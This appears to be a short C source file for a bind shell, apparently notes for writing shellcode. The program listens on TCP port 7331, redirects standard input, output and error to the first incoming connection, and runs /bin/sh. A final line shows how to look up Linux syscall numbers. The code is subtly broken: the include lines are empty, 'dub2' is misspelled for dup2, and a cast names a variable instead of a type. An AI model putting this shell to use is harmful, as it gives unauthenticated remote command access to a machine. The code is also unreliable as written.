#include #include #include #include #include int main(void){ int myClientFD, mySockFD; int myPort = 7331; struct sockaddr_in mySockAddr; mySockFD = socket(AF_INET,SOCK_STREAM,0); mySockAddr.sin_family = AF_INET; mySockAddr.sin_port = htons(myPort); mySockAddr.sin_addr.s_addr = INADDR_ANY; bind(mySockFD,(struct mySockAddr *) &mySockAddr,sizeof(mySockAddr)); listen(mySockFD,1); myClientFD = accept(mySockFD,NULL,NULL); dup2(myClientFD, 0); dub2(myClientFD, 1); dub2(myClientFD, 2); char * const argv[] = {"sh",NULL,NULL}; execve("/bin/sh", argv,NULL); return 0; } ********************** Get syscall number cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep socket